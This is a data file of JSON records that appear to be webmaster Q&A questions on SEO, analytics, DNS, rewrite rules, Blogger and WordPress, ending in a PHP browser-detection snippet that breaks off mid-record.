{"id":"2748","title":"Linking a facebook app's page to an existing facebook business page","text":"I have a facebook app page, and a separate facebook business profile page. The business page was created, but not by me, some time before the app and its page were created. **Is there any way to connect the two pages, or import the content and friends from one to the other**? The older profile page has some content; a set of friends and wall posts that I don't want to lose. It was created before I had a chance to set up an app page. Since the app was created more recently, it does not have any content posted to it. I intended the app page to eventually hold some advertising info for my main website itself (non-canvas, just using fb for the connect api etc). The idea being that as people sign up on my site through facebook's OAuth, I could use the graph api to post to their wall. The wall posts are working as expected but naturally they are directing users to the facebook app page, which has no content, friends etc. I'd prefer to be directed to the original business page, where the party is really happening. Now it seems that the two pages are completely separate; what would I need to do to direct the users to the business page?"}
{"id":"4846","title":"Advertising Platform CMS","text":"I would like to know if there is any \"advertising platform\" cms arround, in order to host affiliate marketing tags \/ banners \/ etc Thanks"}
{"id":"4840","title":"Why can using a CMS be bad for SEO?","text":"I often hear and read that if you are serious about SEO you should avoid using a CMS. Are there any credible reasons as to why a CMS can be bad for SEO\/Website optimisation?"}
{"id":"4841","title":"How to add an exception to this rewrite rule","text":"I need to change this so that one file in wp-admin is not forced through https: # add a trailing slash to \/wp-admin RewriteCond %{REQUEST_URI} ^.*\/wp-admin$ RewriteRule ^(.+)$ https:\/\/%{SERVER_NAME}\/$1\/ [R=301,L] This forces all requests to \/wp-admin through SSL but it is breaking a wordpress plugin which needs to access wp-admin\/admin-ajax.php. Is there a way to adjust the rule so that it will allow non encrypted requests to that one file? thanks!"}
{"id":"4842","title":"Pros\/Cons of Interlinked Landing Pages","text":"Today on Google's Official Webmaster blog they posted about running multiple sites with similar content, here. After reading it and looking at the comments I noticed two things. First Google doesn't seem to respond to the great questions people have. Secondly, this question from Autocrat struck a cord with me: > --- Interlinking mutually owned sites --- > > Some people run multiple sites for the same niche, or for highly > similar\/related niches\/terms. They then link between them, bolstering their > apparent popularity as well as attempting to increase their relevancy for > specific terms via link text. Where I work they believe there is value in buying many domain names related to its products. They post unique content on each related domain except they reuse .pdf documents. They also include links to our main website and other landing sites. They use Adword campaigns specific to each domain to bring paid traffic to the site with the hopes of driving customers to the main site. They have done this for years and it takes a ton of time to keep these sites up. Also, it is tough to measure if we get value from them. My questions are: * Is there really any benefits of having these external landing pages to the site? . * Would it be more valuable to move the landing page content to inside of the site? * Finally, is there any way to truly measure the value these sites are adding through increased Page Rank on our main site?"}
{"id":"68415","title":"Google indexing pages with #! although we don't have any","text":"Our company has developed a Single Page Application using AngularJS and its routing. Google indexed our site decently with JavaScript but it did not index some pages very well so we have developed an HTML only version. We have followed the Ajax Crawling Specification posted here and have a `<meta name='fragment' content='!'>` tag and canonical urls. We expect `http:\/\/www.example.com\/foo\/bar` to be fetched from `http:\/\/www.example.com\/?_escaped_fragment_=\/foo\/bar`. However, we have found out that when we rolled the AJAX specification we now have all pages indexed twice, once with the JavaScript version as `http:\/\/www.example.com\/foo\/bar` and once with the new version as `http:\/\/www.example.com\/#!\/foo\/bar`. This is harmful to us since it's duplicate content and also mis-representing out site. I have tried looking for similar questions here and in the Google product forum but could not come up with anything."}
{"id":"63278","title":"My colleague can't visit our website through her provider after long downtime","text":"We did a frontpage update some days ago that caused the site to crash. The site was down for several hours. After troubleshooting, we concluded that we needed to cache more content. It had been run too many queries. After solving that and rebooting of server, we here in Sweden and Norway were again able to visit the site. But a colleague in Tunisia couldn't. It seems to work from another internet provider but not her own. What could have happened? And what should we do? **Edit:** I should add: She is able to visit the site through tunnel at anonymouse.org."}
{"id":"44521","title":"Website stopped appearing on Google results","text":"I have a website with a Page Rank 3. Yesterday it was listed in Google as the second link (under a specific Hebrew keyword). 12 hours later I checked it with my Google Monitor tool and it seems my website doesn't appear in Google search results anymore."}
{"id":"44526","title":"How do I tell blogger which image is the thumbnail to use in data:post.thumbnailUrl?","text":"I recently started with blogger. I was tweaking the homepage a bit to display thumbnail and post excerpts with read more link. A lot of websites say to use this kind of code: <b:if cond='data:blog.pageType != "index"'> <b:if cond='data:post.snippet'> <b:if cond='data:post.thumbnailUrl'> <div class='Image thumb'> <img expr:src='data:post.thumbnailUrl'\/> <\/div> <\/b:if> <data:post.snippet\/> <b:else\/> <data:post.body\/> <\/b:if> <b:else\/> <data:post.body\/> <\/b:if> But can we tell blogger what's in `data:post.thumbnailUrl`? For some people, blogger will just pick an image magically from their post. How can I decide which thumbnail will be used?"}
{"id":"21424","title":"What is the name of the widget which slides in at the bottom of the page and recommends more articles for reading?","text":"I see this on more and more pages. I can't show an example right know, but the widget is a small box sliding in at the right bottom of the page and it usually says \"Did you read this?\" or something like that and shows an article title. Is there a name for this widget? Is it a jquery plugin or part of some other javascript library? I'm looking for its name, so I can get more info about it."}
{"id":"44524","title":"Does anyone knows a good Facebook chat script?","text":"I'm looking for a facebook chat script.. that can handle a large number of users.. does anyone knows one? I need one urgent and please post one that you had experience with."}
{"id":"54588","title":"Search engine bots accessing strange URLs","text":"We have ELMAH enabled on our site and get errors whenever a _Page Not Found_ error is triggered on the website. We have recently redesigned a new website and so we understand that search engine robots might have previously indexed pages which they try to access and result in a _Page Not Found_ errors. For this reason, we have set up permanent redirects for such previously indexed pages to the respective new pages. The website in mention is `www.chambercollege.com` and for example, a previously indexed URL was `www.chambercollege.com\/special-offers.aspx`. This page is no longer accessible so we have created the necessary permanent redirect to redirect to the respective page on `www.chambercollege.com\/en\/content\/special-offers-161\/`. Now we are starting to receive _Page Not Found_ errors of search engine bots (e.g. MSN bot) trying to access the URL `www.chambercollege.com\/special- offers.aspx\/images\/shadow_right.jpg\/`. Any idea how could a search engine make up that strange URL and whether you have any suggestions of what to do best?"}
{"id":"5206","title":"Is it possible to play a external (e.g. from youtube) flash-video with html5 on my site?","text":"I would like to use my site as a \"gateway\" for watching flash-videos in HTMl5.. Is this possible? What are the requirements?"}
{"id":"14160","title":"Apache webserver user setup and security issues","text":"I have a server running Centos 5.6\/PHP\/MySQL etc that will only host one website all the time. **New question** Is there any security implication on leaving a single website hosted in the default location of \/var\/www\/html\/ versus the common location of \/home\/user\/? **Original question** Does it make any sense* to have Apache webserver host the account in the home folder (\/home\/user) instead of the default location of \/var\/www\/html? *Sense mean performance benefit, security reasons, etc. Thank you."}
{"id":"14164","title":"How can I force a certain URL for Google to use in search results?","text":"Each page on my site can be accessed by a shortened URL and normal \"long\" URLs. The shortened URL redirects to the long URL and the long URL includes an optional title that's not parsed (much like on this site, where `http:\/\/webmasters.SE\/questions\/7\/accepting-money`... is equivalent to `http:\/\/webmasters.SE\/questions\/7`). When pages show up in Google search results, there is a mixture of three kinds of URL. * `http:\/\/site.com\/Ab1C.html` * `http:\/\/site.com\/content\/123\/full_name` * `http:\/\/site.com\/content\/123` Is there a way to encourage Google to use a specific format in the results?"}
{"id":"13178","title":"Server 10Mbit bandwidth with a potential 100Mbit outburst","text":"I'm planning to deploy 3 private servers on a web farm. I've got a quote for a hosting package from my ISP, yet it says the server will have 10Mbit bandwidth with a potential 100bitB burst. What does it mean? I need to serve flash games, each game about ~ 1MB, to 30K unique users a month. Will it suffice?"}
{"id":"36076","title":"Google Analytics > Engagement > Duration - Make Custom Times","text":"I need to find the following metrics. How many users stayed for 2 seconds, how many stayed for 5 seconds, how many stayed for 10 seconds. On Google Analytics they have something very similar but it generalizes everything from 0-10 seconds. Is it possible to make my own durations like 0-2, 2-5, and 5-10? "}
{"id":"53580","title":"Multiple keywords sites for local SEO","text":"I found the answer to this question from a few years ago, but a lot has changed with Google since then. Would a technique with the one described here still work? Given that the small sites are more than just a page and the sites have unique content? I am a web developer and have a client who wants to hire me to do this, but I'm not sure its going to help or hurt him."}
{"id":"36073","title":"1024 bit to 2048 bit certificate differences in how we access our portal","text":"Why now that we have gone from 1024 to 2048 do we need to put the www in front of our portal site when we never used to."}
{"id":"53583","title":"Removed pages from website - do I need to tell Google or will they fall off in time anyway?","text":"This is a follow up question from here: Duplicate title tags due to translations Since asking the question I have removed the duplicated content that was being generated by language\/translations on the website in question. In the answer I was told that I should return 410 errors for the removed duplicate pages, use _robots.txt_ to disallow crawling of duplicate pages, and to use the Fetch as Google feature to re-trigger crawling. My question is now that I've actually removed the pages (I've removed all of the translation options), will this self-correct when Google next crawls the site and notices that the links are gone? Do I still need to do the things recommended, given that the duplicated content is now gone?"}
{"id":"53288","title":"Adding alt tag to image sharing code for advertising","text":"I have an image hosting&sharing site like as imageshack. I'm generating html and bb codes for sharing uploaded images on other sites. I'm thinking about adding image alt tag to these generated codes and writing \"served by sitename\" into it. Would it be helpful for SEO or not ?"}
{"id":"33247","title":"Register a domain name","text":"Hello I am new at this and so i've come on here hoping I would get some answers. I would like to register a domain name and I already have a hosting site, so I would have to just make sure I change the DNS to the new hosting site. Can anyone tell me where I can go to just get a domain name ONLY without having to use their hosting since I already have another company hosting. I also need it to be affordable also."}
{"id":"11195","title":"Automatic registration in web-catalogs and SEO","text":"They are a lot of tools, that can automatically submit my website to thousands of web-catalogs. Is it a good practice to increate rankings ? What are pros and cons against it ?"}
{"id":"18641","title":"Google Analitycs says source is Search Engine (100%)","text":"I have a problem with my google analytics code, 'cause it says since 2 months that all traffic of my websites is directly from search engine, i'm really sure that must be a mistake 'cause i have made some email marketing and landing page campaing that could help to create referal traffic, maybe somethink goes wrong with the new version of the analytics or i forgot some settings. please any help is aceptable"}
{"id":"13415","title":"Looking for a desktop application similar to jsFiddle","text":"Is there a desktop application or IDE for Windows or GNU\/Linux similar to _jsFiddle_ where I can insert my JavaScript code, HTML and CSS and see how it executes? I don't mind writing HTML, CSS and JavaScript in the places they are supposed to be, but what I don't want is the process of _Save changes Open browser Refresh Edit Save Open Browser_ ..."}
{"id":"14349","title":"Does using onclick on div's effect SEO?","text":"I have a few elements on my page that uses onclick as the link, e.g: <div class=\"service\" onclick=\"location.href='<?php echo $fields->service_1_link; ?>'\" style=\"cursor:pointer;\"> <img class=\"service\" src=\"<?php echo $fields->service_1_image; ?>\" alt=\"<?php echo $fields->service_1_name; ?>\" height=\"111\" width=\"299\" border=\"0\" \/> <div class=\"service-title\"><h2><?php echo $fields->service_1_name; ?><\/h2><\/div> <\/div> Does this have an impact on crawlers and SEO over say a normal link?"}
{"id":"17922","title":"Hide new Blogger posts from appearing on homepage and make them visible only under a specific label?","text":"I am using Blogger. I want to write some posts under a label, say \"Puzzles\". I don't want the posts to appear on home page of my blog (as they show up normally). I just want them to appear when some visitor clicks on the label \"Puzzles,\" otherwise not. How can I do this without back-dating content?"}
{"id":"17927","title":"JavaScript based Audio player.","text":"I am trying to find an Audio-Player, javascript based. I have tried a bunch of them, but was unable to find one with \"Analytic\", \"Caption\", \"Control-Bar\" etc other features. Can I have some suggestions, where I can find such an audio player. Preferably free. ;) Best Zeeshan"}
{"id":"3042","title":"How to set the icon and channels for IE9's “Pinned Sites”","text":"IE9 beta appeared today, and one of the most prominent features is Pinned Sites: drag an url\/favorite\/whatever to the taskbar, and you create a “Pinned Site”, which follows some custom rules (favicon presented in application chrome, back\/fwd button turn the color of the favicon!). What is interesting is that: 1) Some sites are pinned to the taskbar not with their favicon, but rather with a bigger icon, à la iOS home screen favorite. How can I set this? 2) Developers can set “channels” or “jump lists” for even quicker access that are presented when (right-?)clicking the icon. How do I do this?"}
{"id":"21076","title":"Is there a media player that works on HTTPS sites?","text":"I'm currently using Yahoo! Media Player for a site that needs to play MP3 files that are stored on our server. In total, there's quite a bit more than the free limits at Soundcloud, but each file is only a few minutes long. YMP is pretty good, but causes security warnings on HTTPS pages, because it can only be served via HTTP. Is there an equivalent free player I can embed for the HTTPS pages? **EDIT:** Just to clarify, I'm initially looking for something that will scan the page and turn media links playable."}
{"id":"50037","title":"In Google Analytics, how can I determine the value of a page if no goals or revenue have been determined?","text":"I have 4 years of data in Analytics with over 20 million pageviews for the entire site. No goals have ever been set up, and while the site is an ecommerce site, no ecommerce features in Google Analytics have ever been taken advantage of. So I have no way to determine what the actual value of a page is. I've been tasked with determining if a particular page on the site is worth keeping around. How might I use all standard data (pageviews, bounce rate, time on page, time on site, etc.) to help determine the value of this page? I really appreciate any help I can get!"}
{"id":"32145","title":"Shared group calendar for ASP.NET","text":"Can anyone point me towards a free group calendar solution in ASP.NET VB? Basically anyone in the company should be able to access it from their computer and make changes to it. I would assume its MSSQL sever based. ETA: It doesn't HAVE to be VB, C# or Silverlight would be OK, however I'm not too hot on either of those languages myself."}
{"id":"20373","title":"What is the difference between a homepage link with or without a trailing slash?","text":"What is the difference between these two URLs: * `http:\/\/example.com\/` * `http:\/\/example.com` Should we always add the final `\/` or avoid it? Does it make a difference?"}
{"id":"27414","title":"Redirect primary domain to parked domain","text":"The problem is as follows: We already have registered domain name (example.com.hr) via a Croatian domain name provider. During the web hosting registration process, the registrar doesn't offer a field where I can input my own domain name, and basically forces me to register a .com domain name. Is there a way to redirect from the primary domain to a parked domain, or somehow register with Google and instruct them to absolutely ignore my primary domain to avoid any bad ranking issues? I guess I can do a redirect with PHP headers since I'll have WordPress installed, but I'm not sure how this affects SEO."}
{"id":"67518","title":"How to track Jwplayer video events with Universal Analytics?","text":"What code do I add to Jwplayer javascript to get events like what video is playing, when it was watched to the end, watched in full display window and such?"}
{"id":"67044","title":"How to keep track of backlinks?","text":"I am operating an internal website to which other internal websites are linking through deep-links. Currently, when I alter my website, I go out and search for corresponding links other sites, and try to update them or inform the webmaster. I'm searching for an efficient workflow to help me keep track of the inbound links, so that I can change the links. I cannot run link-checkers on the other websites, but in terms of attracting visitors it is in my own interest to keep the inbound links up to date. My website is sitting in Sharepoint. I was thinking of keeping a spreadsheet with all the links and pages they are on. Another option just occurred to me: check in the Sharepoint logs for calls to dead links together with the originating (referrer URL) and the go and fix it (basically \"on demand\")... but I don't know how to do it in Sharepoint 2013. Any suggestion\/idea is most welcome. Maybe there is even a software for this task."}
{"id":"67513","title":"Improve site with SEO microdata","text":"I need to do SEO Microdata for one site. What is my biggest problem is to choose which type would be on this list http:\/\/schema.org\/docs\/full.html . So let's say that I should choose the type of portfolio, and link the portfolio is as follows: Code: `<a href = \"#\" data-remote = \"images\/portfolio\/image1.jpg\" class = \"portfolio- box\" data-toggle = \"lightbox\" data-gallery = \"I\" data-title = \"Image1\"> <\/ a>` because the problem of slip-propery is in this link, img, logo, ... Do you like this could be used itemtype \"http:\/\/schema.org\/Product\" and how strictly it should all be, if there is more than one type of a section of the site or there is only one appropriate? Thank you in advance .."}
{"id":"52650","title":"Are Amazon affiliate links bad for SEO?","text":"Example: For a PC game review website would it be bad for SEO to have one Amazon affiliate link in addition to the game review? Since these links would be coded in the form of `<iframe>` would adding a `rel=\"nofollow\"` be of much benefit? Lets say they were not `iframe` links and regular `<a href=\"\">link<\/a>`. A respected SEO equated affiliate links to \"poison\" for rankings and recommended they be pulled to a separate domain or buried deeper in the site away from root. So is it better to just remove all affiliate links and not risk any penalty from Google? I have looked around and not really been able to find a direct answer to this from Google. Here is some information I did find: * http:\/\/moz.com\/blog\/getting-seo-value-from-your-affiliate-links * http:\/\/www.nichepursuits.com\/how-to-get-a-google-penalty-using-affiliate-links-and-how-to-recover"}
{"id":"35379","title":"Determine domain name registered in a name server","text":"Suppose I have a new nameserver that is set up to associate my domain name with the IP address of my new web server (but isn't a nameserver for my domain name yet). My domain name is still using with my old nameserver which provides the IP of my old web server. How can I test that my new name server will redirect to the correct IP address before I switch my domain to using the new name server?"}
{"id":"67516","title":"Pages Crawled Per Day in Google Webmaster Tools","text":"What determines the pages crawled per day graph in Google webmaster tools? It shows that It has a maximum of 2701 pages. However, the maximum number of pages on my website is not more than 300. How can this be possible? How to explain the spike on the graph (from 100 to 2700) without any actual change in site structure or increase in the number of pages? "}
{"id":"67041","title":"Is it necessary to submit sitemap to www and non www?","text":"I have submitted my website to Google Webmaster Tools with both `www` and with `no-www`. I had made the domain without `www` to my preffered domain and have submitted a sitemap. My question is should I also submit a sitemap to the one whit `www`?"}
{"id":"1095","title":"How to ignore certain coding standard errors in PHP CodeSniffer","text":"We have a PHP 5 web application and we're currently evaluating PHP CodeSniffer in order to decide whether forcing code standards improves code quality without causing too much of a headache. If it seems good we will add a SVN pre-commit hook to ensure all new files committed on the dev branch are free from coding standard smells. Is there a way to configure PHP codeSniffer to ignore a particular type of error? or get it to treat a certain error as a warning instead? Here an example to demonstrate the issue: <!DOCTYPE html PUBLIC \"-\/\/W3C\/\/DTD XHTML 1.0 Transitional\/\/EN\" \"http:\/\/www.w3.org\/TR\/xhtml1\/DTD\/xhtml1-transitional.dtd\"> <html> <head> <meta http-equiv=\"Content-Type\" content=\"text\/html; charset=utf-8\" \/> <\/head> <body> <div> <?php echo getTabContent('Programming', 1, $numX, $numY); if (isset($msg)) { echo $msg; } ?> <\/div> <\/body> <\/html> And this is the output of PHP_CodeSniffer: > phpcs test.php -------------------------------------------------------------------------------- FOUND 2 ERROR(S) AND 1 WARNING(S) AFFECTING 3 LINE(S) -------------------------------------------------------------------------------- 1 | WARNING | Line exceeds 85 characters; contains 121 characters 9 | ERROR | Missing file doc comment 11 | ERROR | Line indented incorrectly; expected 0 spaces, found 4 -------------------------------------------------------------------------------- I have a issue with the \" _Line indented incorrectly_ \" error. I guess it happens because I am mixing the PHP indentation with the HTML indentation. But this makes it more readable doesn't it? ( _taking into account that I don't have the resouces to move to a MVC framework right now_ ). So I'd like to ignore it please."}
{"id":"55714","title":"Money exchange field","text":"It was on hold for over 1.5 hour even after I made changes, so here again. I am making a money exchange website. On my homepage there will be 2 fields, The first field is a Bitcoin field and the other is a $ field. I want to do the following: If a visitor enters an amount in the \"Bitcoin\" field then the value of that bitcoin should be appeared in the $ field in dollars, by taking the data from mtgox.com + my compensation. A good example of this is the following site: https:\/\/bitonic.nl\/ Someone goes to the website and enters an amount on one of the fields and the other field is calculated automatically. Does someone have a code ready to do this"}
{"id":"34759","title":"Using scaled images or using same image everywhere?","text":"I have an image lets say 300px*300px I am using 3 different sizes of it on my site 100px*100px, 200px*200px, 300px*300px. What will be the best for SEO. Using same images everywhere or using 3 images with different sizes."}
{"id":"29519","title":"Advice for using Google AdSense","text":"The banners on my website are generated by `$.ajax()` call to the server after the page load is complete (`$(window).load()` event). I want to to integrate ads from google to fill in empty banners when there is no active campaign associated to them. I know that using ajax to place the AdSense code after the page load is complete is a violation of the AdSense Program Policies. Is it legal (in terms of that program politics) to place the AsSence code as a default in all the banners on my website, and after the ajax request, remove unnecessary banners and replace them with banners from my own advertising management system? I couldn't find a straight answer to this issue, and I don't want to change the logic of my CMS to be able to use google adsense in my website."}
{"id":"29040","title":"Make DotNetNuke Multilingual","text":"I have a site with DotNetNuke and I want to create content available in different languages. I was checking the DNN options and I can choose a language, but it doesn't change my content. Not even the \"login\" button has changed. Is there a way to make a multilingual site with DotNetNuke?"}
{"id":"23778","title":"Sitemap tool fails to find all URLs in my site","text":"* I added my url to Google http:\/\/www.google.com\/addurl.html * I added a meta tag with description and keywords * I added it in Google web master tools and submit the site map * There is no any robots in my site But when I create the sitemap.xml automatically with http:\/\/www.xml- sitemaps.com\/ or other tools they don't find all the pages! Are there any better tools, how can I fix the problem?"}
{"id":"65632","title":"Any negative consequences of linking from a wordpress site to another site that uses ASP pages","text":"A client of mine had a blog that utilized ASP pages for some content. Recently they moved their site to a Linux-based server and installed Wordpress. They did not want to have all the ASP pages rewritten in PHP, so instead they are linking to a separate website for some pages. My question is this, does this have any negative impacts on the main Wordpress website? My primary concern is SEO but if any other concerns come to mind I'm all ears."}
{"id":"1325","title":"Allowing customers to edit static website via WYSIWYG","text":"I've set a few clients up with Adobe (formerly Macromedia) Contribute to edit static html content. Add the comments to prevent them from causing too much damage and it works okay: <!-- TemplateBeginEditable name=\"UserEditedSection\" --> <p>stuff the user can edit<\/p> <!-- TemplateEndEditable --> So my questions: 1. Are there any Contribute competitors that are worthwhile? 2. Are there any Contribute competitors that don't require a piece of desktop software? 3. Are there any Contribute competitors that work on mobile (iPad, iPhone, Android, Blackberry?)"}
{"id":"50561","title":"Change the domain name pointing in Google Apps","text":"I need advice about my website which is hosted in Google Apps (free plan). Currently I use a domain name called \"A\" and have already added another domain name called \"A+\" as a secondary domain in my Google Apps account. I set my email accounts with this \"A\" and \"A+\" domain name. How do I set the domain name \"A\" so when my web visitor accesses it, it will automatically forward to the \"A+\" website? Will my emails still work properly without any problem?"}
{"id":"47713","title":"Website images stop loading","text":"I have a website at `www.bdgregg.com`. The website was once hosted on a different server. I have moved the site to a new server. Everything remains the same as far as site content, images etc. However the images have stop loading for the different products. I have reloaded the database dump, re-uploaded images folder... but still the images will not load. It even appear as it the images are corrupt in some form. I am not sure why this would happen when the same files worked on another server without problems."}
{"id":"15340","title":"Changing default browser font-size affecting 3 divs floated inside a header div","text":"Changing a web browsers default font size from 16px adversely affects the layout of the 3 divs that I have floated within my header div. Considering that the 3 header divs are fixed elements and not part of the site content or navigation as such, would it be better for me to fix the font size of the text in each div? The affected site is here, if you change your browsers default font size to 15 or 17, for example, then you will notice that the positioning of the 3 divs becomes badly affected. I presume that this is due to me implementing the div floating incorrectly, the content div is configured the same as the header div but resizes elegantly if the font size is decreased or increased. The other alternative would be for me to just implement an image rather than divs containing heading text but I would then lose the SEO benefits that the non-graphical text provides. Many thanks in advance, Andy"}
{"id":"15433","title":"WHMCS for subscription based server or alternative","text":"I have been recently looking for a PHP billing system similar to the one used by a lot of webhosts - WHMCS. What we provide is an online profile for companies to market themselves to their potential audience. To do so there is a fee of £20\/m or £200\/y. What I really like about WHMCS is that it manages your entire billing side for you.. the issue you I do have with it is that it's strongly related to web hosting, which we aren't. Also it doesn't seem that flexible to fit into our current system. Does anyone have any advice or suggestions on any similar PHP systems, or whether WHMCS can be edited enough to do what I need it to do? Thanks :)"}
{"id":"6459","title":"how will google treat http:\/\/yoursite.com\/page?a=1 and http:\/\/yoursite.com\/page?a=2 will it treat them different?","text":"how will google treat yoursite.com\/page?a=1 and yoursite.com\/page?a=2 will it treat them different or same url. Or is there any solution i want google to treat same page but with different content. All though the meta tag will be same."}
{"id":"6458","title":"Present my all videos from a certain YouTube channel","text":"I would like to make a page **on my site** that shows an embedded video player for **each** video in a certain YouTube channel. (I don't want to just link to YouTube's page for that channel) Preferably I would like some control over presentation. What's the best way to do this? If server programming is necessary, I would be most comfortable with a Perl solution but would be open to PHP, etc."}
{"id":"8688","title":"DNS Configuration when registrar and host are two different companies","text":"I'm a total noob when it comes to DNS configuration. My client bought a domain through one company and is hosting their site with another (a virtual dedicated server). I can't find anything on the web that explains one's way through this setup. Where do I start? Which nameservers do I use? Which company's zone files do I edit? Basically it boils down, for me that I don't understand which company takes the lead, and which piggybacks off their configuration. Thanks in advance for the help."}
{"id":"8689","title":"subdomains apache rewrite rules","text":"Let's say I have my web folder as public_html. In there I have a sub folder. I can view the folder at: `www.mydomain.com\/sub` & `mydomain.com\/sub` What I want is: sub.mydomain.com This will show the content of `public_html\/sub`. How would I set up my rewrite rules to do this."}
{"id":"48835","title":"Buying a domain in other country: larger response times?","text":"I bought a domain in a very well know provider of domains in USA (Godaddy). Now I want to use that domain for a site (local bussines) hosted in a server in Spain, and I'm wondering if I will get shorter response times if I have bought the domain in the same firm where I contract the hosting, or if search engines punish my site because of that."}
{"id":"59939","title":"Is it OK to block my javascript files in robots.txt?","text":"Is it OK to block my javascript files in robots.txt, or can it hurt my website SEO-wise?"}
{"id":"50808","title":"How to forward emails to my custom domain to my Gmail account?","text":"I bought a domain without webspace and want to forward emails to that domain to my Gmail account. But I don't receive any emails which are send there, not even a return-to-sender-email. I also tried with another email provider and my company's email address. My hoster supports email forwarding, thus I activated it with the \"catch all\" option and added my 3 email addresses as target. The domain is configured with `www IN CNAME example.rhcloud.com`. There is no other configuration yet. Do I need to add MX entries? Or what else do I need to do? P.S.: Don't migrate this question to serverfault. They said I'm not allowed to ask questions, because I'm not a sysadmin..."}
{"id":"50809","title":"Sitemap for multiple language site","text":"I have a multiple site. For example: English language page: `mysite.com` And `mysite.com\/en` Farsi language page: `mysite.com\/fa` Japanese lanuage page: `mysite.com\/jp` The content posts in English site (`mysite.com\/en`) is different by posts in Japanese site (`mysite.com\/jp`) and Farsi site (`mysite.com\/fa`). Do I need to a saparate sitemap address for each language?"}
{"id":"37628","title":"rich snippets ignored by google","text":"> **Possible Duplicate:** > Why would Google Rich Snippets work for one site author but not another? I'm facing one problem here. I made rich snippets - microdata for the website but google ignores all of them. Here is how it looks like in testing tool . It doesn't detect any errors. I've read that google ignores the microdata in hidden fields. Unfortunately this is partially the case since I use jquery to interact with the contect, but nevertheless it is not hidden everywhere and I believe that google should recognize at least the microdata visible to the user permanently. Am I missing something here? It is now about 3 weeks since I updated website with rich snippets."}
{"id":"50779","title":"Tables in Google Analytics: calculating % of total in Google Analytics","text":"I am analyzing two segments (based on an existing dimension) in a table in a Google Analytics dashboard and I want to know how to add a column and insert a calculation that calculates the % of Total each segment comprises of the total visits? Furthermore, is it possible to have a table with more than 3 columns? I can't seem to find a way to add more columns without adding additional widgets."}
{"id":"7732","title":"Are there any good reasons to intentionally serve a new web site in Quirks mode?","text":"I was a little surprised that Amazon's site doesn't specify a doctype, and is rendered in quirks mode. What could possibly be the reason for this? I understand what quirks mode is and why doctypes were introduced, but I can't understand why this would be intentionally left off. I guess it might simplify markup if they're trying to support ancient browsers, but isn't that like shooting yourself in the foot when it comes to modern browsers, especially when their site is so Javascript rich? Does this level the playing field when it comes to supporting really old browsers? Is there something else I'm missing?"}
{"id":"7731","title":"Moving large amounts of data between shared hosts","text":"I recently acquired a client who is a photographer and was interested in moving web hosts since his current host had threatened to throw him off due to CPU spiking. The migration went fairly easily, with about 350MBs of website and media files. Then I discovered about 60GBs of client galleries he had failed to mention. I am unable to move this much data myself, since I'm capping out at about 20kb\/s on the FTP connection. Has anyone encountered a situation where they needed to migrate this much data between cheap hosting? Should we contact the hosting companies about this (he is moving from Westhost to MediaTemple)?"}
{"id":"31064","title":"jQuery\/AJAX on old Computers\/Browsers","text":"I am working on a plattform that will have a lot of users in the so called \"developing countries\". So many of them will be using old computers and old browsers in tiny internet cafes. We want to make sure to give them a good user Experience and make sure the website loads as fast as possible. Problem is, that while you can save a lot of requeasts and time, using jQuery\/AJAX, it also brings along a lot of Problems: - Will the Computers be powerfull enough to deal with the client side scripts? - Will the old Browsers handle jQuery? Does anyone have any experience with these sort of problems or might know of some sort of article on the topic?"}
{"id":"7737","title":"Detecting Browser Types?","text":"My client has asked me to implement a browser detection system for the admin login with the following criteria, allow these: * Internet Explorer 8 or newer * Firefox 3.6 or newer * Safari 5 or newer for Mac only And everything else should be blocked. They want me to implement a page telling the user what browser they need to upgrade\/switch to in order to access the CMS. **Basically I need to know the best way to detect these browsers with PHP, distinct from any other browsers, and I've read thatbrowser sniffing per se is not a good idea.** The CMS is WordPress but this is _**not**_ a WordPress question _(FYI I am a moderator on theWordPress Answers site.)_ Once I figure out the right technique to detect the browser I'm fully capable to make WordPress react as my client wants, I just need to know what the best ways are with PHP _(or worse case jQuery, but I much prefer to do on the server)_ to figure how what works and what doesn't. Please understand that _\"Don't do it\"_ is not an acceptable answer for this question. I know this client too well and when they ask me to implement something I need to do it _(they are a really good client so I'm happy to do what they ask.)_ Thanks in advance for your expertise. ### UPDATE This requirement is **for the admin console, not the public site** ; we'll support everything on the public site but we've heavily modified the WordPress admin console and we only want to have to test on the main three (3) browsers. So feature detection is not really relevant here; this is a testing and support requirement, not a requirement for supporting specific features. And the project does not have the funding to support all browsers; it's just not realistic when there are probably only going to be 25 or 50 users of the admin console in total. ### UPDATE #2 For the benefit of anyone with the same requirements here's the solution I came up with: $min_versions = array( 'safari' => 5, 'firefox' => 3.6, 'msie' => 8, ); $good_browser = false; $user_agent = strtolower($_SERVER['HTTP_USER_AGENT']); if (preg_match(\"#applewebkit\/.*?version\/([0-9]+)\\..*?safari\/#\", $user_agent, $match)) { $good_browser = intval($match[1])>=self::$min_versions['safari']; } else { foreach(array('firefox','msie') as $browser) { if (preg_match(\"#{$browser}\/([0-9]+)\\.#\", $user_agent, $match)) { $good_browser = intval($match[1])>=self::$min_versions[$browser]; break; } } } if (!$good_browser) { \/\/ Do redirect to an upgrade page } And this is the solution packaged as a standalone file designed to be included in a WordPress plugin or by the `functions.php` file of a WordPress theme: <?php \/* my-clients-browser-detect.php *\/ if (!class_exists('MyClients_BrowserDetector')) { class MyClients_BrowserDetector { static $min_versions = array( 'safari' => 5, 'firefox' => 3.6, 'msie' => 8, ); static function admin_init() { $good_browser = false; $user_agent = strtolower($_SERVER['HTTP_USER_AGENT']); if (preg_match(\"#applewebkit\/.*?version\/([0-9]+)\\..*?safari\/#\", $user_agent, $match)) { $good_browser = intval($match[1])>=self::$min_versions['safari']; } else { foreach(array('firefox','msie') as $browser) { if (preg_match(\"#{$browser}\/([0-9]+)\\.#\", $user_agent, $match)) { $good_browser = intval($match[1])>=self::$min_versions[$browser]; break; } } } if (!$good_browser) { $pages = self::get_pages('page-upgrade-browser.php'); if (count($pages)==0) { echo \"<p>Please upgrade your browser to one of the following:<\/p><ul>\"; foreach(self::$min_versions as $browser => $version) { echo \"<li>{$browser}: {$version}<\/li>\"; } echo \"<\/ul>\"; exit; } $permalink = get_page_link(get_post($pages[0])->ID); wp_safe_redirect($permalink,302); } } static function get_pages($template) { global $wpdb; $sql = $wpdb->prepare(\"SELECT post_id FROM {$wpdb->postmeta} WHERE meta_key='_wp_page_template' AND meta_value='%s'\",$template); $pages = $wpdb->get_col($sql); foreach($pages as $index => $page_id) $pages[$index] = get_post($page_id); return $pages; } static function on_load() { add_action('admin_init', array(__CLASS__,'admin_init')); } } MyClients_BrowserDetector::on_load(); } As several people have mentioned feature detection is usually considered a better approach but for this use-case we really didn't have specific features we cared about, we had specific named browsers we cared about so feature detection wasn't a viable option. FYI, the client knows that we may have to revise this script in the future if we can false negatives 